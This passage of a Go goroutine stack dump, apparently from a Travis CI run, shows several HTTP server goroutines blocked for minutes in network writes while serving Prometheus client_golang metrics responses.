net.(*conn).Write(0xc00000e638, 0xc024430f6f, 0x6f232, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065860, 0xc024430f6f, 0x6f232, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc00e190680, 0xc024430f6f, 0x6f232, 0x96fa1, 0x1, 0xc000167200, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef0d8, 0xc024430000, 0x701a1, 0x97f10, 0xc009289898, 0x642e8e, 0xc0000658e8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc00e190740, 0xc024430000, 0x701a1, 0x97f10, 0x0, 0x0, 0xc01fff1b80)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef0a0, 0x701a1, 0xc024430000, 0x701a1, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc009289a40, 0x3d714fcd)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef0a0, 0xc024430000, 0x701a1, 0x97f10, 0x77d4c0, 0xc020b5b401, 0xc003a30b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc020d39130, 0xc024430000, 0x701a1, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e640, 0xc00d263700)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e640, 0xc00d263700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef0a0, 0xc00d263700)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef0a0, 0xc00d263700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef0a0, 0xc00d263700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef0a0, 0xc00d263700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065860, 0x88ea00, 0xc00e190640)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 20951 [IO wait, 15 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0bc8, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3718, 0x77, 0x59a00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c3700, 0xc018440f6f, 0x6e253, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c3700, 0xc018440f6f, 0x6e253, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000ea38, 0xc018440f6f, 0x6e253, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064b40, 0xc018440f6f, 0x6e253, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc006090900, 0xc018440f6f, 0x6e253, 0x96fa1, 0x1, 0xc000167380, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee578, 0xc018440000, 0x6f1c2, 0x97f10, 0xc01c739898, 0x642e8e, 0xc000064bc8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0060909c0, 0xc018440000, 0x6f1c2, 0x97f10, 0x0, 0x0, 0xc000087290)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee540, 0x6f1c2, 0xc018440000, 0x6f1c2, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01c739a40, 0xd995c725)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee540, 0xc018440000, 0x6f1c2, 0x97f10, 0x77d4c0, 0xc01cc30801, 0xc01de58840)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc003a32c30, 0xc018440000, 0x6f1c2, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000ea40, 0xc01a544700)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000ea40, 0xc01a544700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee540, 0xc01a544700)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee540, 0xc01a544700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee540, 0xc01a544700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee540, 0xc01a544700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064b40, 0x88ea00, 0xc0121a4200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21005 [IO wait, 14 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0958, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171df418, 0x77, 0x59b00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171df400, 0xc01ebaef6f, 0x6e3bf, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171df400, 0xc01ebaef6f, 0x6e3bf, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e868, 0xc01ebaef6f, 0x6e3bf, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064a00, 0xc01ebaef6f, 0x6e3bf, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc00fb9b840, 0xc01ebaef6f, 0x6e3bf, 0x96fa1, 0x1, 0xc000167500, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee3b8, 0xc01ebae000, 0x6f32e, 0x97f10, 0xc01c733898, 0x642e8e, 0xc000064a88)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc00fb9b900, 0xc01ebae000, 0x6f32e, 0x97f10, 0x0, 0x0, 0x7f50701ceed0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee380, 0x6f32e, 0xc01ebae000, 0x6f32e, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01c733a40, 0x3160b676)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee380, 0xc01ebae000, 0x6f32e, 0x97f10, 0x77d4c0, 0xc017167801, 0xc00154adc0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc018946eb0, 0xc01ebae000, 0x6f32e, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e870, 0xc00761a900)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e870, 0xc00761a900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee380, 0xc00761a900)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee380, 0xc00761a900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee380, 0xc00761a900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee380, 0xc00761a900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064a00, 0x88ea00, 0xc00fb9b800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21119 [IO wait, 13 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0548, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171de118, 0x77, 0x59e00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171de100, 0xc020b72f6f, 0x6e6ae, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171de100, 0xc020b72f6f, 0x6e6ae, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000eff8, 0xc020b72f6f, 0x6e6ae, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065040, 0xc020b72f6f, 0x6e6ae, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc004897c00, 0xc020b72f6f, 0x6e6ae, 0x96fa1, 0x1, 0xc000167680, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015eec78, 0xc020b72000, 0x6f61d, 0x97f10, 0xc0077c3898, 0x642e8e, 0xc0000650c8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc004897cc0, 0xc020b72000, 0x6f61d, 0x97f10, 0x0, 0x0, 0xc000087d90)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015eec40, 0x6f61d, 0xc020b72000, 0x6f61d, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0077c3a40, 0x9e3b6ba2)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015eec40, 0xc020b72000, 0x6f61d, 0x97f10, 0x77d4c0, 0xc012758c01, 0xc003a306e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc00bbaae10, 0xc020b72000, 0x6f61d, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f000, 0xc006756a00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f000, 0xc006756a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015eec40, 0xc006756a00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015eec40, 0xc006756a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015eec40, 0xc006756a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015eec40, 0xc006756a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065040, 0x88ea00, 0xc004897bc0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21863 [IO wait, 4 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad770, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c3d18, 0x77, 0x5c900, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c3d00, 0xc018f14f6f, 0x71142, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c3d00, 0xc018f14f6f, 0x71142, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000ed18, 0xc018f14f6f, 0x71142, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065c20, 0xc018f14f6f, 0x71142, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc017d96040, 0xc018f14f6f, 0x71142, 0x96fa1, 0x1, 0xc000167800, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e578, 0xc018f14000, 0x720b1, 0x97f10, 0xc003eff898, 0x642e8e, 0xc000065ca8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc017d96100, 0xc018f14000, 0x720b1, 0x97f10, 0x0, 0x0, 0xc000087550)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e540, 0x720b1, 0xc018f14000, 0x720b1, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc003effa40, 0x3a70e18)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e540, 0xc018f14000, 0x720b1, 0x97f10, 0x77d4c0, 0xc0118fc001, 0xc001289080)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc020d39270, 0xc018f14000, 0x720b1, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000ed20, 0xc004eb8400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000ed20, 0xc004eb8400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e540, 0xc004eb8400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e540, 0xc004eb8400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e540, 0xc004eb8400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e540, 0xc004eb8400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065c20, 0x88ea00, 0xc00e97a280)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22364 [IO wait]:
internal/poll.runtime_pollWait(0x7f50703b0af8, 0x72, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3618, 0x72, 0x0, 0x1, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitRead(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:92
internal/poll.(*FD).Read(0xc0000c3600, 0xc011eeea31, 0x1, 0x1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:169 +0x19b
net.(*netFD).Read(0xc0000c3600, 0xc011eeea31, 0x1, 0x1, 0xbf362748c37c759c, 0xf7aa38e2f56, 0xb138e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:202 +0x4f
net.(*conn).Read(0xc00000fc38, 0xc011eeea31, 0x1, 0x1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:177 +0x69
net/http.(*connReader).backgroundRead(0xc011eeea20)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:677 +0x58
created by net/http.(*connReader).startBackgroundRead
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:673 +0xca

goroutine 20987 [IO wait, 15 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0a28, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171dec98, 0x77, 0x59a00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171dec80, 0xc01e9e6f6f, 0x6e2d6, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171dec80, 0xc01e9e6f6f, 0x6e2d6, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e428, 0xc01e9e6f6f, 0x6e2d6, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc0000648c0, 0xc01e9e6f6f, 0x6e2d6, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc0114cf340, 0xc01e9e6f6f, 0x6e2d6, 0x96fa1, 0x1, 0xc000167b00, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee118, 0xc01e9e6000, 0x6f245, 0x97f10, 0xc01c735898, 0x642e8e, 0xc000064948)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0114cf400, 0xc01e9e6000, 0x6f245, 0x97f10, 0x0, 0x0, 0x2000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee0e0, 0x6f245, 0xc01e9e6000, 0x6f245, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01c735a40, 0x2db8199)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee0e0, 0xc01e9e6000, 0x6f245, 0x97f10, 0x77d4c0, 0xc016727a01, 0xc00154a6e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0169da0f0, 0xc01e9e6000, 0x6f245, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e430, 0xc00d263500)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e430, 0xc00d263500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee0e0, 0xc00d263500)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee0e0, 0xc00d263500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee0e0, 0xc00d263500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee0e0, 0xc00d263500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc0000648c0, 0x88ea00, 0xc0114cf300)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21049 [IO wait, 14 minutes]:
internal/poll.runtime_pollWait(0x7f50703b07b8, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c2018, 0x77, 0x59c00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c2000, 0xc019534f6f, 0x6e440, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c2000, 0xc019534f6f, 0x6e440, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e030, 0xc019534f6f, 0x6e440, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064dc0, 0xc019534f6f, 0x6e440, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01d9e2380, 0xc019534f6f, 0x6e440, 0x96fa1, 0x1, 0xc000167c80, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee1f8, 0xc019534000, 0x6f3af, 0x97f10, 0xc01d671898, 0x642e8e, 0xc000064e48)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01d9e2480, 0xc019534000, 0x6f3af, 0x97f10, 0x0, 0x0, 0xc000086630)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee1c0, 0x6f3af, 0xc019534000, 0x6f3af, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01d671a40, 0xf0cafdae)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
